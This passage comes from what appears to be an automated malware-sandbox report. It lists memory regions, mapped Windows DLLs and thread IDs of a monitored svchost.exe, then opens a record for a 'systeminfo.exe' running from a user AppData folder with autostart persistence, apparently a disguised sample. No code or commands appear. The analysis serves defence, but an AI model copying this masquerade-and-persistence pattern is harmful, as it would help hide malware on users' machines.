"c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2312 start_va = 0x1500000 end_va = 0x150ffff entry_point = 0x1500000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2313 start_va = 0x1510000 end_va = 0x151ffff entry_point = 0x1510000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2314 start_va = 0x1520000 end_va = 0x152ffff entry_point = 0x1520000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2315 start_va = 0x1530000 end_va = 0x153ffff entry_point = 0x1530000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2316 start_va = 0x1540000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 2317 start_va = 0x15c0000 end_va = 0x15cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015c0000" filename = "" Region: id = 2318 start_va = 0x15d0000 end_va = 0x15dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015d0000" filename = "" Region: id = 2319 start_va = 0x15e0000 end_va = 0x15effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015e0000" filename = "" Region: id = 2320 start_va = 0x15f0000 end_va = 0x15fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015f0000" filename = "" Region: id = 2321 start_va = 0x1600000 end_va = 0x160ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001600000" filename = "" Region: id = 2322 start_va = 0x1610000 end_va = 0x161ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001610000" filename = "" Region: id = 2323 start_va = 0x1620000 end_va = 0x162ffff entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 2324 start_va = 0x1630000 end_va = 0x16affff entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 2325 start_va = 0x16b0000 end_va = 0x176ffff entry_point = 0x16b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2326 start_va = 0x1770000 end_va = 0x177ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001770000" filename = "" Region: id = 2327 start_va = 0x1780000 end_va = 0x178ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001780000" filename = "" Region: id = 2328 start_va = 0x1790000 end_va = 0x179ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001790000" filename = "" Region: id = 2329 start_va = 0x17a0000 end_va = 0x17affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000017a0000" filename = "" Region: id = 2330 start_va = 0x17b0000 end_va = 0x17bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000017b0000" filename = "" Region: id = 2331 start_va = 0x17c0000 end_va = 0x17cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000017c0000" filename = "" Region: id = 2332 start_va = 0x17d0000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 2333 start_va = 0x17e0000 end_va = 0x17effff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 2334 start_va = 0x17f0000 end_va = 0x18effff entry_point = 0x0 region_type = private name = "private_0x00000000017f0000" filename = "" Region: id = 2335 start_va = 0x18f0000 end_va = 0x19effff entry_point = 0x0 region_type = private name = "private_0x00000000018f0000" filename = "" Region: id = 2336 start_va = 0x19f0000 end_va = 0x19fffff entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 2337 start_va = 0x1a00000 end_va = 0x1a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 2338 start_va = 0x1a10000 end_va = 0x1a10fff entry_point = 0x0 region_type = private name = "private_0x0000000001a10000" filename = "" Region: id = 2339 start_va = 0x1a20000 end_va = 0x1a20fff entry_point = 0x0 region_type = private name = "private_0x0000000001a20000" filename = "" Region: id = 2340 start_va = 0x1a30000 end_va = 0x1b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 2341 start_va = 0x1b30000 end_va = 0x1b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 2342 start_va = 0x1b90000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b90000" filename = "" Region: id = 2343 start_va = 0x1c20000 end_va = 0x1c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 2344 start_va = 0x1c30000 end_va = 0x1d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 2345 start_va = 0x1d50000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 2346 start_va = 0x1dd0000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 2347 start_va = 0x1f20000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 2348 start_va = 0x2090000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 2349 start_va = 0x21e0000 end_va = 0x225ffff entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 2350 start_va = 0x2260000 end_va = 0x22dffff entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 2351 start_va = 0x22e0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 2352 start_va = 0x2480000 end_va = 0x248ffff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2353 start_va = 0x2490000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 2354 start_va = 0x2690000 end_va = 0x368ffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 2355 start_va = 0x36c0000 end_va = 0x373ffff entry_point = 0x0 region_type = private name = "private_0x00000000036c0000" filename = "" Region: id = 2356 start_va = 0x3780000 end_va = 0x37fffff entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 2357 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x76e8a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2358 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x76f85ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2359 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2360 start_va = 0x77260000 end_va = 0x77266fff entry_point = 0x7726106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2361 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2362 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2363 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2364 start_va = 0xff4d0000 end_va = 0xff4dafff entry_point = 0xff4d246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2365 start_va = 0x7fee3310000 end_va = 0x7fee3589fff entry_point = 0x7fee3310000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2366 start_va = 0x7fef5300000 end_va = 0x7fef5307fff entry_point = 0x7fef5301414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2367 start_va = 0x7fef7290000 end_va = 0x7fef72a0fff entry_point = 0x7fef7290000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 2368 start_va = 0x7fef74d0000 end_va = 0x7fef7533fff entry_point = 0x7fef74d1254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2369 start_va = 0x7fef7540000 end_va = 0x7fef75b0fff entry_point = 0x7fef7541010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2370 start_va = 0x7fef75c0000 end_va = 0x7fef75f7fff entry_point = 0x7fef75c0000 region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 2371 start_va = 0x7fef7600000 end_va = 0x7fef764dfff entry_point = 0x7fef7600000 region_type = mapped_file name = "nlasvc.dll" filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll") Region: id = 2372 start_va = 0x7fef7660000 end_va = 0x7fef7676fff entry_point = 0x7fef7660000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2373 start_va = 0x7fef7680000 end_va = 0x7fef782ffff entry_point = 0x7fef7680000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2374 start_va = 0x7fef8610000 end_va = 0x7fef863ffff entry_point = 0x7fef8610000 region_type = mapped_file name = "cryptsvc.dll" filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll") Region: id = 2375 start_va = 0x7fefa400000 end_va = 0x7fefa41ffff entry_point = 0x7fefa400000 region_type = mapped_file name = "wkssvc.dll" filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll") Region: id = 2376 start_va = 0x7fefaa40000 end_va = 0x7fefaa57fff entry_point = 0x7fefaa41bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2377 start_va = 0x7fefaa60000 end_va = 0x7fefaa70fff entry_point = 0x7fefaa616ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2378 start_va = 0x7fefaa80000 end_va = 0x7fefaa86fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "dnsext.dll" filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll") Region: id = 2379 start_va = 0x7fefaa90000 end_va = 0x7fefaae2fff entry_point = 0x7fefaa92b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2380 start_va = 0x7fefaaf0000 end_va = 0x7fefab1ffff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "dnsrslvr.dll" filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll") Region: id = 2381 start_va = 0x7fefabe0000 end_va = 0x7fefabeafff entry_point = 0x7fefabe1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2382 start_va = 0x7fefabf0000 end_va = 0x7fefac16fff entry_point = 0x7fefabf98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2383 start_va = 0x7fefac60000 end_va = 0x7fefacc6fff entry_point = 0x7fefac76060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2384 start_va = 0x7fefad00000 end_va = 0x7fefad18fff entry_point = 0x7fefad011a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2385 start_va = 0x7fefb1e0000 end_va = 0x7fefb1f3fff entry_point = 0x7fefb1e0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2386 start_va = 0x7fefb200000 end_va = 0x7fefb214fff entry_point = 0x7fefb200000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2387 start_va = 0x7fefb220000 end_va = 0x7fefb22bfff entry_point = 0x7fefb2218a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2388 start_va = 0x7fefb360000 end_va = 0x7fefb370fff entry_point = 0x7fefb361070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2389 start_va = 0x7fefb990000 end_va = 0x7fefbabbfff entry_point = 0x7fefb9994bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2390 start_va = 0x7fefbac0000 end_va = 0x7fefbadcfff entry_point = 0x7fefbac0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2391 start_va = 0x7fefc270000 end_va = 0x7fefc276fff entry_point = 0x7fefc2714b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2392 start_va = 0x7fefc360000 end_va = 0x7fefc37afff entry_point = 0x7fefc362068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2393 start_va = 0x7fefc380000 end_va = 0x7fefc39dfff entry_point = 0x7fefc3813b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2394 start_va = 0x7fefc4d0000 end_va = 0x7fefc4d9fff entry_point = 0x7fefc4d3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2395 start_va = 0x7fefc510000 end_va = 0x7fefc55bfff entry_point = 0x7fefc517950 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2396 start_va = 0x7fefc5d0000 end_va = 0x7fefc616fff entry_point = 0x7fefc5d1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2397 start_va = 0x7fefc6f0000 end_va = 0x7fefc74afff entry_point = 0x7fefc6f6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2398 start_va = 0x7fefc860000 end_va = 0x7fefc866fff entry_point = 0x7fefc86142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2399 start_va = 0x7fefc870000 end_va = 0x7fefc8c4fff entry_point = 0x7fefc871054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2400 start_va = 0x7fefc8d0000 end_va = 0x7fefc8e6fff entry_point = 0x7fefc8d32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2401 start_va = 0x7fefc9e0000 end_va = 0x7fefca11fff entry_point = 0x7fefc9e0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 2402 start_va = 0x7fefca40000 end_va = 0x7fefca61fff entry_point = 0x7fefca45d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2403 start_va = 0x7fefcb00000 end_va = 0x7fefcb6cfff entry_point = 0x7fefcb00000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2404 start_va = 0x7fefce70000 end_va = 0x7fefce7afff entry_point = 0x7fefce71030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2405 start_va = 0x7fefcea0000 end_va = 0x7fefcec4fff entry_point = 0x7fefcea9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2406 start_va = 0x7fefced0000 end_va = 0x7fefcedefff entry_point = 0x7fefced1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2407 start_va = 0x7fefcf80000 end_va = 0x7fefcfbcfff entry_point = 0x7fefcf818f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2408 start_va = 0x7fefcfc0000 end_va = 0x7fefcfd3fff entry_point = 0x7fefcfc10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2409 start_va = 0x7fefcfe0000 end_va = 0x7fefcfeefff entry_point = 0x7fefcfe19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2410 start_va = 0x7fefd080000 end_va = 0x7fefd08efff entry_point = 0x7fefd081020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2411 start_va = 0x7fefd170000 end_va = 0x7fefd2d6fff entry_point = 0x7fefd1710c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2412 start_va = 0x7fefd2e0000 end_va = 0x7fefd315fff entry_point = 0x7fefd2e1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2413 start_va = 0x7fefd320000 end_va = 0x7fefd38afff entry_point = 0x7fefd3230e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2414 start_va = 0x7fefd3b0000 end_va = 0x7fefd48afff entry_point = 0x7fefd3d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2415 start_va = 0x7fefd490000 end_va = 0x7fefd49dfff entry_point = 0x7fefd491080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2416 start_va = 0x7fefd4a0000 end_va = 0x7fefd568fff entry_point = 0x7fefd51a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2417 start_va = 0x7fefe300000 end_va = 0x7fefe32dfff entry_point = 0x7fefe301010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2418 start_va = 0x7fefe330000 end_va = 0x7fefe396fff entry_point = 0x7fefe33b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2419 start_va = 0x7fefe3a0000 end_va = 0x7fefe3a7fff entry_point = 0x7fefe3a1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2420 start_va = 0x7fefe810000 end_va = 0x7fefea12fff entry_point = 0x7fefe833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2421 start_va = 0x7fefeb50000 end_va = 0x7fefebe8fff entry_point = 0x7fefeb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2422 start_va = 0x7fefebf0000 end_va = 0x7fefecf8fff entry_point = 0x7fefebf1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2423 start_va = 0x7fefed80000 end_va = 0x7fefedf0fff entry_point = 0x7fefed91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2424 start_va = 0x7fefef80000 end_va = 0x7feff01efff entry_point = 0x7fefef825a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2425 start_va = 0x7feff020000 end_va = 0x7feff03efff entry_point = 0x7feff0260e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2426 start_va = 0x7feff040000 end_va = 0x7feff08cfff entry_point = 0x7feff041070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2427 start_va = 0x7feff090000 end_va = 0x7feff1bcfff entry_point = 0x7feff0ded50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2428 start_va = 0x7feff1c0000 end_va = 0x7feff296fff entry_point = 0x7feff1c3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2429 start_va = 0x7feff3b0000 end_va = 0x7feff3b0fff entry_point = 0x7feff3b0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2430 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2431 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2432 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2433 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2434 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2435 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2436 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2437 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2438 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2439 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2440 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2441 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2442 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2443 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2444 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2445 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2446 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2447 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2448 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 85 os_tid = 0x988 Thread: id = 86 os_tid = 0x944 Thread: id = 87 os_tid = 0xbc4 Thread: id = 88 os_tid = 0xa08 Thread: id = 89 os_tid = 0x7c4 Thread: id = 90 os_tid = 0x5e0 Thread: id = 91 os_tid = 0x5d8 Thread: id = 92 os_tid = 0x5b8 Thread: id = 93 os_tid = 0x5ac Thread: id = 94 os_tid = 0x4d8 Thread: id = 95 os_tid = 0x2b4 Thread: id = 96 os_tid = 0x294 Thread: id = 97 os_tid = 0x26c Thread: id = 98 os_tid = 0x21c Thread: id = 99 os_tid = 0x234 Thread: id = 100 os_tid = 0x1d0 Thread: id = 101 os_tid = 0x174 Thread: id = 103 os_tid = 0xaf0 Thread: id = 105 os_tid = 0xbf8 Thread: id = 106 os_tid = 0x9e4 Thread: id = 107 os_tid = 0x674 Process: id = "13" image_name = "systeminfo.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe" page_root = "0x77dc5000" os_pid = "0x5d8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f544" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2449 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2450 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = 